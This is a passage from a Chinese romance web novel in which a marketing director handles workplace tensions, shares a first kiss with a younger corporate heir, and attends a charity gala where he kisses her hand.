“F大出人才啊,项目背景和利害关系都说得很明确,不过……”沈确顿了顿,“是不是因为你们是同学的关系,所以在流程上,不太好说?” 甘歆说得平静,也知道张然要什么,她打算推一把,“张然能力挺强的,为人处世也不错,今天也是赶时间,她犹豫再三才答应去跟您汇报的。” “能力多强?比你强?”沈确点她。 甘歆低头看茶,知道此时不应该多话。 “你是想升VP后,把部门总监的位置 给她?” “没有,我没有想过升VP的事,现在说这些还太早了。” “那歆总这是,”沈确撑了个脑袋看他,眼睛里露着狡黠,“打算借刀杀人?” “当然没有。”甘歆一乱,声音都大了点,“她想表现表现,我觉得应该要给她机会。” 黄鱼面上来了,汤是乳白色的,卧了满满半碗黄鱼,还有碎咸菜,一瞬间香气扑鼻,沈确示意她先吃饭,甘歆却没动筷子,她吃不准沈确对张然的态度,担心自己好心办坏事,直直地看着沈确。 沈确拿了筷子双手一抬作投降状,“你的人我不动。” 甘歆才松了口气,拿筷子开始吃面。 “但作为你老板,有些话我还是得说,”沈确吃了一口面,直到嘴里的东西都咽下了,才继续,“心太软不是件好事。” 甘歆若有似无地“嗯”了一声。 饭后沈确本想送甘歆回家,但她说车还在地库,沈确就将她又送回了地下车库,他又临时接了个电话,耐不住忙,最终还是和她一起坐电梯回公司了。 对于今天的事甘歆有些后悔,明显下午张然被沈确训了,现在换沈确来提醒自己,本意是想让张然试一试,如果沈确赏识的话,可能以后晋升的机会能多一些…… 叮——楼层到了,电梯门打开—— 甘歆撞上了落了东西回来拿的张然。 她真恨不得变成一张纸直接从轿厢和地面的缝隙里掉进去。 “沈总,歆总。” 沈确对她点头示意,甘歆从轿厢里走出去,待电梯关上门后,对着张然解释了一句,“沈确找我吃了个饭,说融资的事。” 张然笑笑点了点头,“那我先回去了,北泽村的事明天再和你说吧?” “好,快回去吧。” 走进自己办公室后,甘歆才深深叹了口气,虽无意伤害张然,但她最后笑容消失的样子的确让自己不好受,又没办法把话说透,甘歆怪自己做错了决定。 拿车钥匙的时候,掠过钥匙扣,心里泛起了些久远的想念和依赖,打开齐灏的微信,却又不知道说什么,她还是找到了那张拼豆二维码的照片,点开后选择添加好友。 心里还抱有一丝侥幸,或许齐灏这个号不用了也有可能,自己找一些虚无的安慰罢了。 下一秒——好友通过了。 甘歆看着全新的对话框,有些发懵,根本没想好要说什么。 “姐姐,”齐灏发了过来,是景页的口吻,“不开心么?” 她不想再将两人混淆,特意在说事之前加上了称呼,“齐灏,我今天又做了好人,但结果不太好。” “下楼,B2车库0328车位。”这是齐灏的方式,第一次出现在景页的对话框里。 这次甘歆没有拒绝、没有矫情,收拾了东西就去按电梯,已经过了下班时间,中间电梯未曾停顿,直接就到了B2层,她开始找车位。 路过红色区域、紫色区域,停留在了青绿色,拐弯再拐弯,在角落里找到了0328车位,但她并没有看到齐灏。 又往里走了两步,一只手从方柱后伸了出来,把甘歆也拉到了暗影里。 周身都被木香包围了,齐灏将甘歆抱在了怀里,没有用力,但很珍惜。 他的声音和他身上的香味如出一辙,沉静、令人安心。 齐灏说:“好人,应该要有好报,抱抱。” 甘歆愣了一下,才反应过来,没有回抱过去,而是拽住了他腰际的两侧的西装,闭上了眼睛,笑了一下。 “谐音梗扣钱。” 第36章 第36章“初吻啊?”“嗯。”…… “又没开车?”甘歆问走在边上的齐灏,没等他回复,就笑着捶了一下他的胳膊,“下次能不能换个理由?” “暂时还没想到别的。” 齐灏自然而然地坐进了驾驶座,这次连甘歆的安全带一并都帮她系了。 他没有问甘歆具体的事情,这让她觉得很放松,一路回去说的也是些不痛不痒的事。 等着和齐灏一起等公寓电梯的时候,甘歆问他:“我要是不加你呢,你就在地库一直等着我下来?” “是这么想,不过你加回了我才是惊喜,”齐灏停顿了一下,“其实景页才是我的私人号码。” 甘歆眉毛抬了抬,“我以为是你闲得无聊注册的马甲。” “……怎么可能用马甲加你。” 她又问:“为什么去那个车位?” 齐灏答得自然,“摄像头拍不到。” 他们四目相对,但没说话,老旧公寓连电梯厅的灯光都不亮,明明看不清齐灏的眉眼,甘歆却觉得心跳莫名有些快,她别开了头,去看电梯显示屏上的楼层数字。 平日里的电梯都来得慢,今天却快,“叮”地一声,电梯门打开。 甘歆走进了轿厢,摁了23楼的按钮,齐灏眉眼温柔地站在外面。 “别想太多,早点休息,”齐灏看着甘歆,“晚安。” 门有关上的趋势,齐灏的表情并没有变,依旧这么目送着甘歆,在还有一拳缝隙的时候,甘歆伸出了手,挡了一下电梯门边。 她清了清嗓子,有些大胆,“你……要不要上去坐坐?” 齐灏明显愣了一下,不敢确定地看向甘歆,又怕她后悔似的,想了想才说,“……不了吧。” 听到这个回答的甘歆也松了口气,其实她刚说出口也吓到了,好像刚刚那句话并不是她自己说的一样,“嗯,我上去了。” 电梯门成功合上,看着往上跳的数字,甘歆的心率也跟着上升,到23楼的时候她甚至有些不想出电梯门,但总要离开,就像……齐灏总要回家一样。 她没有立刻走,而是站着盯着电梯门发了会儿呆,惊异地发现旁边的另一部电梯数字正在上升,5楼、13楼、17楼——甘歆的心跳越来越快,她好像慌张了起来,脚步都被固定住了,就这么盯着数字看。 闪出23楼时,她以为数字会继续往上,但“叮——”地一声拉回了她的思绪。 门打开了,齐灏从里面走了出来,看见就站在这里的甘歆也怔住了。 再次对视,空气都黏稠了起来,谁也没有过问为什么会出现在这里。 齐灏的喉结上下滚动了一下,甘歆才迈开脚步往家门口走,她知道齐灏就跟在身后。 门锁开后,甘歆走了进去,脱鞋,没有关门、也没有回头。 另一双鞋也被搁在了地上,接着是关门的声音。 没有人去开灯。 黑暗好像助长了青年的胆量,甘歆的左手小指似乎被触碰了,指腹被轻轻捏了一下,接着手指被更温热的手握住了。 齐灏的声音很轻,还有些哑,“你在引我犯规。” 如果这句话是景页说的,那他们接下来会发生什么,甘歆心里清清楚楚。 但此刻站在自己身后的是看得见、摸得着的齐灏,而且他的手已经触碰到了自己。她并不反感,甚至在那个车位上的拥抱过后,心底还有一点不堪的期待。 工作太忙,做错了事,被好朋友误会,被老板提醒。 这些好像都成为了借口,心底产生渴望的真正原因,她不敢去想—— 齐灏的身体也慢慢贴近了甘歆,她觉得有一股很大的热量从背后袭来,几乎要笼罩到她前身,接着整个左手都被齐灏包住了,他一下一下地捏着,带着力量,也带着克制。 “姐姐也想犯规么?” 他的问题像裹了蜜的尖辣椒,用糖衣炮弹做饵,辣得她心脏直颤。 甘歆的声音依旧平静,连左手都没有给齐灏回应,“你还没追到我。” 带着热意的唇好像贴到了她脑后的发丝,还有温热的鼻息喷洒在头顶,话里染尽了暧昧,“嗯……所以只是想放松一下?” 她的确想,但她说不出口。 “让我放肆一下好不好?” 他又像小狗一样讨食。 “放肆了也不一定会答应你。” “没关系……”他在她的发顶落下一个吻,轻轻柔柔。 顷刻整个人就被齐灏打横抱了起来,没有去卧室,径直走到了沙发边,他坐在了沙发上,也让甘歆侧着坐在了他的腿上。 他将甘歆的发圈拿了下来,黑夜里无法感知发色,但香气依旧盎然,他将额头抵到了甘歆的额头上,声音更低了,“上次,我亲你了,但是……太赶了,重来一次,好不好。” 鬓边的发丝滑落,齐灏又将他们别到了甘歆的耳后,他慢慢靠近,又在即将触碰到她双唇的时候停下。甘歆听见了明显的吞咽声,齐灏又向她确认了一遍,“我要吻你了。” 甘歆被他这么一撩拨,也忍不住轻喘了一下,呼出的热气碰到了齐灏的唇周又返了回来。 “上次那个不算,”齐灏的话似乎格外多,刚刚覆上甘歆后脑勺的手似乎在颤抖,“你能不能把这个记成我的初吻……” 没甘歆回答,他就吻了上来,她的手立刻抓紧了齐灏的衣服。 他只是在轻轻摩挲她的嘴唇,一遍一遍的,小心翼翼地探出舌尖,在她的上下唇游移,无论到哪里,似乎都会回到中间那条缝隙这,反复描摹着。 她只是仰头微微张开唇,他就贴合了上来,自然又激烈。 齐灏的吻技确实青涩,在齿关流连太久,似乎不知道要怎么叩开,她终于像赦免罪人一样,主动去触碰他的舌尖。 这样的动作无异于邀请,他像是终于有了入场资格的勇士,一手环腰向上揽住了她的背,一手扣紧她的后脑,刚刚的生涩被情热的风一吹,催熟了青年。 触碰成了辗轧,试探成了侵犯,攻城略池、寸寸相逼,一定要将她口中的津液全都舔舐干净、让她口腔里的每一处软肉都染上自己的气息。 甘歆抓不住他的衣服了,搂上了齐灏的脖子,他吻得深,她也不吝回应,互相纠缠、嬉戏,她也吮吸、轻咬,近在咫尺的距离,她偷偷睁开了眼睛——齐灏吻得陶醉又虔诚,诚意弥补了技巧,她这才发现,面前这个人已经无法用青年完全概括了。 男人轻轻咬了下她的舌尖,像是害羞地提醒,也是强势地警告,“闭眼。” 他的气息太长,甘歆都快搂不住他的脖子了,连回应都困难,齐灏动作温柔,却吻得深,最后她只能放弃挣扎,任他予取予求。 一场吻结束,甘歆脱力地靠在齐灏的身上,他的手揽住给了支撑。 “放松了么?”他深邃的眉眼看向甘歆。 甘歆不置可否,事已至此,也无需害羞,又往他胸口蹭了两下。 “……别动。”他轻吸了一口气,又重复了一遍,“别动。” 不是没经过人事,她又坐在男人的腿上,甘歆哪里不明白他话里的意思,她抿住唇不让自己笑,也不敢再动,看向齐灏的眼睛倒是亮晶晶的,还有些贼,“初吻啊?” 齐灏垂眼看了看他,用刚刚扣她后脑勺的手捂住她的眼睛,又在她额头上落下一吻,应了一声,“嗯。” 甘歆还是笑了出来,嘴上却不饶,“太子爷这么洁身自好……那我不是占便宜了?” 她被捂着眼睛,看不到此刻齐灏想把她拆吃入腹又不敢乱来的表情,只听他口气里有些无奈,“那我占回来?” 甘歆清了清嗓子,知道他话里的意思,不敢再答了。 等他的手拿开,甘歆的视线还有些朦胧,对上齐灏的视线,两人又短暂地接了个吻,最后嘴唇几乎是被他狠狠摩挲了几下才放开的。 “放松了么?” “……嗯,放我下来。” 她将客厅的灯打开了,一瞬间房间乍亮,齐灏的眼睛都眯了眯,身上的衬衫都被揉皱了。甘歆去厨房倒了两杯水,又走回沙发上坐下,递给了他一杯。 开了灯坐近了发现,齐灏的眼睛是红的。 “没睡好么?” “嗯……纽约的项目昨天收尾了,熬了个大夜。” “那怎么还来?” “想见你。” 他的直球并不多见,甘歆有些不习惯,刚刚吻得面红耳赤好像又有些上脸。 齐灏问:“晚饭吃了么?” “吃了,沈确找我吃的。” “他又惹你了?”齐灏挑了个眉。 甘歆把上了他的手臂,“不是……这次他没错,你别胡闹。” “做个好人没什么不好的,”齐灏拿着水杯放到了自己的膝盖上,“世界上没几个人能真坦荡,你很难得。” 甘歆翻了个白眼,“你说话怎么像个老头子。” “就是……”齐灏顿了顿,“我们没办法要求所有人也这么对待我们,做好人的同时,也得给自己留好安全区。” “知道啦,小齐总,”甘歆依旧没说具体的事,但她觉得齐灏能懂,“我就是感觉自己好心办坏事,有点郁闷而已。” “现在还郁闷吗?”齐灏凑近对着甘歆笑,“再亲一会儿?” “再亲就是你占我便宜了。” 他看过来的眼神太热烈,甘歆招架不住,躲了视线,起了另一个话题,“怎么去了美国?” “我爷爷的安排,读F大已经顺着我了,但只给我三年,最后一年得去熟悉业务。” “你爸爸……” “我爸不太适合做这些事,他算半个艺术家吧,”齐灏说得坦然,“能做自己喜欢的事,也挺不错的,不然他和寰科都会很痛苦。” “辛苦吗,太子爷?” 甘歆知道,齐灏一定听得懂她话里的意思,没有半分调笑,更多是对这个身份压力的询问。 “目前感觉还行,能接受,”齐灏笑着对甘歆说,“每次跟你聊完都觉得电量又满了。” “你拿我当充电宝啊?” 他说得小声,又怕甘歆听不见,“……拿你当宝。” 甘歆喝了口水,本来就不太厚的脸皮又红了些,她清了清嗓子,“那个慈善晚宴,沈确让我去,跟你说一声。” “你要陪他?”齐灏皱了皱眉。 “……他没说让我陪,就说让我去,”甘歆咬了咬嘴唇,戳了戳他的胳膊,“老板发话,你懂的。” 本来以为齐灏会有些不开心,但他此刻却带着点笑意问:“你在跟我解释吗?” “我跟你解释什么,”甘歆嘴硬,“之前跟你说了不去,等着到时候万一碰上了,多尴尬。” “哦——”齐灏拉长了尾音,“怕尴尬。” “你少来啊,小心我现在把你赶出去,”甘歆故意凶他,“我可没同意你进屋!” “那你报警抓我吧。”齐灏对她眨了眨眼睛。 “仗着寰科家大业大关系硬是吧,你这个——”二世祖还没说出口,话被齐灏打断了。 “就告我入室抢劫,”他伸过手抚上了甘歆的脸颊,“抢你。” 甘歆还没来得及别开脸遮掩,他又补了一句。 “抢到了就跑,绝对不还。” 第37章 第37章“赶进度。”“想得美。”…… 齐灏离开的时候下雨了,甘歆给了他一把伞,伞面是黑色,内衬却是一朵绽放了的花,和他的气质实在不符,他倒是一点没介意,接过去的时候还带着笑意,连离开的时候嘴角都没放下来。 关上门后,甘歆靠在门背后,仰头笑了笑,又摇了摇头,才去浴室里洗澡。 水雾蒸腾,将淋浴房的玻璃都打湿了,有几颗受不住力的水珠滑落,在玻璃上刮出一道道水痕,今天用的沐浴乳是果香,沁人心脾。 其实……如果刚刚齐灏想要留宿,她自认,不一定能把持住。 她之前和景页太过放肆,也因为不小心碰倒的手机看到过一些画面,蓬勃,也干净、又很诱惑地带点弧度,每每想起,都有些羞赧,仿佛有意窥探了男人的秘密。 想到这里的时候正在揉拭肩窝,无意识地舔了舔下唇,好像刚刚吻过的麻意还在,连抚摸自己的频率都多了别的意味来,甘歆惊了一下,甩了甩脑袋想将脑袋里旖旎的思绪赶走。 洗完澡后的皮肤松软干爽,她敷上面膜带着身体乳去了餐桌边,一只脚搭上了椅面,在手上挤了不少身体乳,由脚踝向上抹着,白腻的身体乳着了身体上的热量化开,在肌肤上留下香气,身上裹的浴巾因为弯腰的关系松散了些,她看了看已经拉好的窗帘,放下心来不再去管,胸口绵软压到了膝盖上,变了形,又因向上抬起而恢复,饱满挺弹。 将将抹完身体乳,甘歆索性扯了浴巾披在身上,趿拉着拖鞋关了客厅的灯,倾倒入床时,才真正意识到了今天发生的事。 她和齐灏接吻了。 很深的那种。 应该有懊悔的,可她现在怎么只想笑。 这还是齐灏的初吻……甘歆整个人都翻过去了,把脸都埋进了枕头里面,两条腿都忍不住翘了起来晃荡了两下,下一秒又觉得自己简直是个趁火打劫的禽兽,怎么连个比自己小这么多的弟弟都不放过。 在床上翻腾了两下,甘歆才消停下来,伸手去摸床头柜上的手机,手伸得太长,碰到了另一个盒子,手指蜷缩了一下,跟被烫到了似的,没再敢触碰,拿了手机就往床中间挪了挪。 她发现,齐灏在用景页的号码时,才会显得生动活泼些,他给自己发了个消息,点开才发现竟然是一张自拍照。 照片里的他已经钻进了深灰色的被子里,只露出了半张脸,看过来的眸子深沉漆黑,眼睫毛也长,眼神里有着明显的笑意,他用被子把下巴往下全都遮住了,裹得严严实实。 留言的内容是——先补二分之一。 甘歆忍不住笑出声了,回复他:“小气。” 仿佛齐灏一直在等她的回复似的,秒回了过来,“真发多了你又不高兴。” 她忍不住用手指捂了捂嘴,太狡猾了,不想理他,“睡觉。” 齐灏甩了一张小狗蹭蹭的表情包来,也没再多话,像一直盘桓在床尾的电子小狗,安安静静地把脑袋搁到了自己的前爪上,尾巴尖小心翼翼地碰着主人的小腿,生怕不被贴似的。 甘歆看了心软,发回了个摸摸的表情才把手机锁屏。 他的安慰像是只有40度的温熨斗,一点点将心里头的褶皱熨平了,甘歆闭眼前还在思考,这个二十来岁的青年,怎么这么容易就把已过三十的自己哄好的。 好像,也不止这次,还有以前和景页聊过的很多次。 他都是如此,稳得像定海神针。 —— 次日,甘歆进公司的第一件事就将张然叫了进来。 张然今天没化妆,面色疲惫,看向甘歆的时候还勉强笑了笑。 “然然,昨天快下班的时候沈确才找我吃的饭,你别多想。”甘歆坦白说,她并不想瞒张然什么,两人相处一直很好,又有昔日的同学情分在,怎么看都是实话实说合适。 “嗯,”张然看向甘歆,睁了睁眼睛,“没多想,沈总说得也多,很多细节内容是我没有考虑到。” “抱歉,我昨天的确也认为需要汇报给他,没有故意压着什么不说。” “……我知道的。”张然叹了口气。 “你最近……怎么了?”甘歆没有再坐在位置上,而是走到她旁边,把她一起带到了沙发上坐下,“怎么感觉开始对业务上心了?” “没事,没事的。”张然抬头看向她笑笑,显出了些憔悴。 “你不拿我当朋友,”甘歆先说了句重话,又哄她,“跟我说说,万一我有什么好办法呢?” 张然欲言又止,犹豫了再犹豫,才叹了口气,“我老公失业了,前两个月跟我说跳槽休假,这个月瞒不下去了,才跟我说的实话。” 甘歆的眉头紧了紧,“现在在找工作么?” “……找了,找了三个月了,都没合适的,不是公司不正规,就是嫌他开的工资高。”张然又重重叹了口气,“房贷车贷在还,孩子花钱的地方也多,家里那点老本……” 甘歆握了握她的手,“所以你想接触点业务,好多点绩效?” 张然看过来,怯生生地点了点头,“是,那时候我失业,他也没多说什么,我现在也不好给他压力,但每个月入不敷出的,有点着急。” “转业务的话底薪不高,工作强度也大,可能会顾不着孩子了。” 张然苦笑了下,“我知道,但世上哪有两头占便宜的事。” “没记错的话,你老公以前是做风控的吧?” “嗯嗯,”张然点头,看向甘歆的眼神带了点求助,“大学读的法律,但律所他不适应,就在企业里做风控了,前些年还考了会计,成本相关的也会一些。” “晟宇不允许夫妻同时入职,没办法内推,”甘歆对张然说,“这样吧,你把他简历给我,我问问别的公司有没有机会。” “阿歆……”张然已经有了些泣音,“我真的很不好意思,帮我们家一次又一次。” “说什么呢,”甘歆捏了捏她的脸,“你在我这还有卖身契呢。” 张然破涕为笑,“卖给你太值了,”她表情又别扭了下来,“……我昨天还有点不高兴来着,对不起,是我小人了。” “别这么说,换我也会这么想,”甘歆又捏了捏她的胳膊,“等晟宇这波融资完,应该会有涨薪的机会,别太焦虑了。” “谢谢你。” 张然出去的时候,甘歆还坐在沙发里……想着自己为什么之前坚持独身的原因,张然的婚姻是从校服到婚纱的,两个人的爱情尚且美好,依旧会被生活里的鸡毛蒜皮磨得不痛快,何况之前的男友都无法让她完全信任,别说婚姻,连同居她都不愿。 收了心思,回到电脑前,看着几封未读邮件,还有三场的会议,她倒觉得充实满足。 其中一封邮件是沈确转给她的,是明天慈善晚宴的邀请函。 甘歆这才注意到,这并非只是一场社交酒会,更像是拍卖会,溢价部分都会作为捐款给到社会公益基金,下面的赞助公司的logo很长,排在第一个、也是最显眼的那个,是寰科。 她心里一动,想着幸好没答应齐灏,不然好像有一种被放在聚光灯下的感觉。 下午在视频会议上见到他,两人并无他话,只聊工作,她提三十个进度,他否掉十三个,晟宇这边参会的人都麻了,心里都暗骂他真难伺候,但看着甘歆坦然接受的模样,也都不好多说什么。 令人意外的是,这次齐灏不仅给了他们充分的调整时间,更是拿出了一份寰科的方案分享给到他们。 这个举动简直闻所未闻,寰科的太子爷从来等人猜测,让人尝试,再一票否决,别说拿参考方案,就是修改建议一直都模棱两可。 甘歆只说谢谢,但从齐灏几不可见挑的那两下眉毛来看,他应该在等夸。 下了会,果不其然收到了他的消息。 狗狗挺胸.jpg 甘歆的眼尾压了压,嘴角抬起来的弧度也很好看,回得不矜持,还带着调戏,“亲了之后才给,小齐总私心过甚。” 此刻坐在宽大沙发上饮茶的齐灏,单手滑开了手机,看向屏幕的眼神温柔满溢,还有些拿发消息过来的人没办法的样子摇了摇头,单手打着字。 “赶进度。” 他的一语双关,相信她能明白。 果然,她回过来的消息更调皮了,像在手背上只停留了一秒的蝴蝶,“想得美。” 茶汤温热,有些涩嘴,饮尽后又回甘,在唇舌间百转姿态,流连忘返。 “今晚见不了了,我得回趟家。” 甘歆第一次听齐灏谈起齐家,无意打探,又将话题勾了回来,“哪能天天让你如意。” 看着齐灏回过来的话,她好像浸在了泳池里,水刚好蔓延到胸口,水纹漾开,就是一波波的浪,有些满,但不涨,“我事事甘心。” 她没再回复,恰巧张然也将他老公的 简历发了过来,手机放到了一边。 先经过了张然的允许,甘歆将他的简历稍微修改了一下,调整了些措辞看起来更加专业,另存为后发给了自己熟悉的猎头,还返了一份给张然。 猎头见是晟宇的市场总监发来的,先是问她有没有打算动,得到了否定的答案才去看简历,又和甘歆说这个岗位很少有调动,想问问这人的离职原因,甘歆只说在寻求更好的机会,但想到了昨晚齐灏说的话,留了个心眼。 她又和猎头补充说了下这是朋友的朋友,具体的她也不太熟悉,如果有什么问题的话,要第一时间和她说,对方答应了,又和甘歆扯有没有晟宇新的工作岗位,几个来回后才结束了对话。 公事甘歆尚且好问,私事的确不好打听,她没有打算再问张然。 今儿个得了太子爷的助力,加班的人都少了,甘歆也没打算多留,还得回去找件小礼服出来,包括配饰也得搭一搭,即使自己对商务饭局和晚宴都不热衷,但既然要出席,总没有应付的道理,何况……这个量级的慈善晚宴,一年到头可能都没几次,她也想去看看。 心里想着事,手上就不利索,车钥匙来回翻腾了好久才找到,摸到手上才觉得有些不同。 鲸鱼挂件依旧,旁边还多了个钥匙扣。 依旧是拼豆做的,渐变的绿色,中间还有几点白做了高光。 她竟然不知道是哪天被挂上的。 小鲸鱼的边上,多了一片龟背竹。 第38章 第38章他对她行了吻手礼。 沈确来接人的阵仗实在大,本来就不宽敞的小区出入口,停了辆玛莎拉蒂总裁,原本沈确跟自己说不急,甘歆却被物业大叔打了电话催,她匆忙下楼。 她在身上罩了件薄风衣,连腰带都系上了,衣摆过膝,露出了光洁的小腿,脚上穿了个浅口红底鞋,六厘米的细跟,将她的整条小腿弧度都拉得很好看。 出了小区,才发现沈确竟然站在车边等她,他本就高大,今天的正装是暗黄色的,嵌着菱形格暗纹,头发依旧一丝不苟,眼镜换成了金丝边框的,整个人又贵气了一分。 甘歆加快步速到沈确边上,不小心踩到了个石子绊了一下,整个人往前倾了一下,被沈确接住了乱抓的手。 “别急,还早。”他的声音更低一些,透着成年人的沉稳。 甘歆站住了后抽了手回来,不好意思地笑了笑,“久等了。” “等女孩子下楼的感觉很奇妙,我偶尔也想体验一下。”沈确笑了笑,没有一丝责怪,反而透着些别样的意思。 甘歆不知如何回答,就往后车门走,沈确先她一步开了车门,礼貌邀请。 她刚想踏上车,听到有人叫她。 “阿歆?” 回过头,发现竟然是梁越,甘歆又收回了腿,站定了,对他笑笑,“梁老师。” “啊,”他的眼睛往沈确身上看了看,带着点不解,但没说出来,“出去吗?” “嗯,出去趟。” 梁越冲着沈确点了点头,沈确也礼貌回了一下,继续为甘歆开车门,轻声说:“上车吧。” 甘歆对梁越点头示意后,上了车,沈确也从另一侧上来了。 司机开车,两人都坐在后座。 她把白色漆皮手包放在了大腿上,两只手一起握着,右手拇指蹭了蹭左手拇指,有些不自在。 “你紧张?”沈确的头偏了过来,又笑了开来,“不打劫,放松点。” “我不紧张……”甘歆嘟囔着,“我紧张什么。” “刚刚那是谁?” “高中同学。” “你俩谈过?” 甘歆抿了个嘴,“没有。” “哦……那就是他喜欢你了。” 加上齐灏,已经是第二个人这么说了,甘歆皱了皱眉,平日除了上下班有时候会碰到,她和梁越连话都不说,“没有的事。” “你对他没好感?” 甘歆发现,沈确要是不想把一场天聊死,他总有办法,她睨了他一眼,“老板不跟我说说慈善晚宴需要和谁社交?聊这些可赚不到钱。” 沈确“噗”地一声笑了出来,“出席就行了,那种地方,有目的的社交都达不到目的。” 甘歆没说话,沈确继续道:“看来你对他真的没意思。” 她这才有些“纡尊降贵”地和沈确说:“他离婚了,还有个孩子,人家现在独自带娃,不会有这些风花雪月的心思的。” “那可不一定,我看他看你的样子就是有想法,”沈确双手交叉,往后靠了靠,不知是有意还是无意,叹道,“有贼心没贼胆啊。” 甘歆见他闭目养神,也不打扰,自己安安静静地坐着。 “上次我问你的问题你还没回答我。” “什么?” “你现在……还不想谈恋爱吗?” 齐灏的脸在她的脑子里一闪而过,嘴上却应着,“……嗯。” 沈确睁开了眼睛,看向她的眼神半真半假,“那要不咱俩凑合一下?” “啊??”甘歆没忍住,声音大了点。 “你看啊,”沈确一一给甘歆说着好处,“咱俩吧,一心求财,你缺个资方,我缺个交代,协议一下,皆大欢喜,怎么样?” “……?”甘歆跟看傻子一样看着沈确。 “这协议也不用太久,三年五年的,到点了再续签,”沈确的眼神有甘歆没看到过的情绪,她有些读不懂,“条款也不用太严格,协议期间不和别人有关系就行了,你说呢?” 见沈确天马行空,甘歆也不客气了,“老板,你是不是做生意做傻了?” 沈确看着不太明白,等她的下文。 “我不会拿这个开玩笑的。”只此一句,她便不再多说。 沈确的眸子暗了暗,头也转过去摆正了,胸口有了个小小的起伏。 一直到快到会场,沈确才简单地和甘歆说了下这个晚宴的背景,还有会来参加的企业家和名流,甘歆有些心惊,这个规模的,恐怕一年只此一次。 到了泊车点,沈确先下来,又去给甘歆开车门,她提前征求了沈确的同意,把外套留在了他车里。 秀白的腿先下了车,红底鞋点地,她的腿长、又白,线条也漂亮,视线才扫到膝盖上二十厘米处,甘歆就站了下来,紧身的黑丝绒抹胸包臀裙,衬出了完美腰臀比,抹胸得体,花边的形状,不露半分媚态,她将栗红色的头发扎成了丸子头,碎发也齐齐梳了上去,颈间围了一圈澳白珍珠项链,更显内敛优雅。 下车前,她从手包里拿出了一副衬裙子的黑丝绒长手套,戴上后正好到手肘以下,吸光的丝绒面料正好衬出了手包,整个装扮有亮有暗,大方得体。 有礼仪来引导,沈确也向甘歆伸出手,她只伸搭了搭了他的胳膊,并未挽住,连走路都很注意,总比他落后半步。 进门的红毯很长,也很软,踩在上面并不觉得走路辛苦。 一路上遇见了一些人,有些主动来和沈确打招呼,有些沈确去打招呼,直至到了会议厅门口,礼仪敲了三下门后,才退了出去。 双开的沉重木门,连把手都嵌着石英柱,门慢慢打开,悠扬的音乐从里头溢出来,再开大一些,甘歆才发现这是一场冷餐会。 站在门侧的侍应生做了请的姿势,里面也有不少目光向门口投来,她和沈确一起走了进去,真正的、富豪内场,就在这里。 他们各拿了一支香槟杯,慢慢走进人群里。 到底是晟宇的掌门人,刚走了几步,就有人上来打招呼,在这里没有名片,只混脸熟,说着轻巧的话,上下句都是千万上亿的生意。 沈确这种场合应该来得不少,整个人很放松,也游刃有余,会和人开玩笑,也会不着痕迹地介绍甘歆,幸好他没有发刚刚在车里的疯,只对人说是自己公司的得力助手、营销专家。 或许在这种场合下的人都没什么真心,互相看着的笑容都差不多,甘歆的颧骨有些累,但也不好拂沈确的面子,一直站在沈确边上,偶尔也和别人聊两句。 那扇沉重的木门开了关,关了开,进来一个人,就会有几个相熟的人往前凑。大家说话的声音都不大,像是刻意维持的优雅。 门又开了,这次沈确迎了上去,甘歆自然跟着。 进来的是一位 老爷子,老爷子穿着黑色西装,戴着领结,手里还拄了根纯黑的手杖,他脖颈微仰,脸上也有些傲气,站在门口,没打算往前的意思,好像是在等人去迎。 跟着沈确走了几步,她才看见老爷子身旁站了个曼妙女性,水色的缎面吊带长裙,颈间的Tiffany方形黄钻很明显,是Rita,那老爷子一定是雅悦的董事长了。 沈确还没走到跟前,Rita就先一步走了过来,直接挽上沈确的胳膊,笑得甜,说话也甜,“都怪我爸,要和我一起来,不然就能坐你车了。” 沈确不置可否,走到任老爷子面前,“任叔叔。” 任老爷子点了点头,眼睛扫过了甘歆,应了一声,“晟宇最近动作很大啊,还是你们年轻人做事有冲劲。” “任叔叔英姿不减当年,我们晚辈还有很多要学习的地方,您过誉了,”他转过身,想要介绍甘歆,“这是我们公司——” “爸,”Rita对着任老爷瘪了个嘴,“你怎么张口就说他,等着他又要不高兴了。” 任老爷子笑了,似乎对这个女儿也没办法,“我夸他也不行?” “哪有你这么夸的,夹枪带棒的,”Rita话说得娇,整个人都泛着甜味,“你重新夸。” 老爷子指了指Rita,无奈地摇头笑笑,对着沈确说:“惯坏了,沈老板多担待。” 沈确抿唇礼貌微笑,又往甘歆这看一眼,甘歆只当没看到。 “确哥,”Rita对着沈确吐了个舌头,“我想吃那个蛋糕,但我不好意思去拿,能不能麻烦你——” Rita正说着话,闭合的木门又开了。 才开了一掌的缝隙,全场就有默契地安静了,所有人的目光都往这看了过来,甘歆有些无措,看向沈确,沈确却看着任老爷子,动也不是,不动也不是。 门缝开到一人宽的时候,任老爷子让了步,挪到了旁边,他们仨跟着一起挪了地。 之前接待人入场的时候,门开只为方便人行走,开到两三人宽,便止住了。 而现在,双门全开,只为了迎接一人。 青年身姿挺拔,一身炭灰色西装,内衬是同色的单排扣带驳头马甲,外套敞开,马甲倒是贴身系得周正,随意中带着克制。他白色衬衣的领口系了条栗红色的领带,胸口的口袋里露出的手帕也是栗红色的,成熟稳重之外也多了些热烈朝气。 齐灏和所有在场的人都不一样,他表情淡然,看不出一丝情绪,明明是一张年轻的脸,却能将整个会场的气场都压缩在角落里,只有他,缓缓走进。 他落下一步,甘歆就能感觉到会场里有人蠢蠢欲动,可三五步之后,依旧没有人上前打招呼。齐灏的姿态太清冽出尘,可谁都清楚他翻手为云覆手为雨,手里流过的资金量可能比现场加起来的所有人都多。 富豪们在面对绝对的财富面前,同样也望而却步。 齐灏已经走过门口,停下了脚步,转头又向站在门边的他们走来。 甘歆的心脏重如击鼓,她从未见过这样的齐灏。 在这里,没有人会质疑他的年轻,只会感叹他的强大。 有个人见他回头,想走上前拼一个招呼,齐灏深邃的眼眸里似乎有了万钧之势,只一瞥,那人便不再向前半分。 他的步子落到了沈确的面前,向他伸手,“又见面了,沈总。” 沈确立刻握了上去,另一只手也覆上了,甘歆看到沈确轻微地皱了一下眉,似乎在这个场合,齐灏主动来找他打招呼不太合规矩似的。 总归话里还是体面的,“齐总。” 甘歆心里一惊,“小”怎么去掉了? 旁边的任老爷子没有动,似乎在等齐灏主动给他打招呼,甘歆能理解,齐灏年轻,他毕竟是长辈,摆些姿态也无可厚非。 偏偏齐灏的眼神掠过了他,旁边的Rita更是看都没看,刚刚和沈确握手时都没露过表情的脸,染上了些笑意,连眼眸都亮了些。 “歆总也在啊。” 齐灏对着甘歆伸出右手,手心向上,微微低头。 甘歆愣了愣,慢慢将自己戴着黑丝绒手套的右手放了上去。 手被轻轻握住,齐灏的唇落在了她的手背,一触即分。 他对她行了吻手礼。 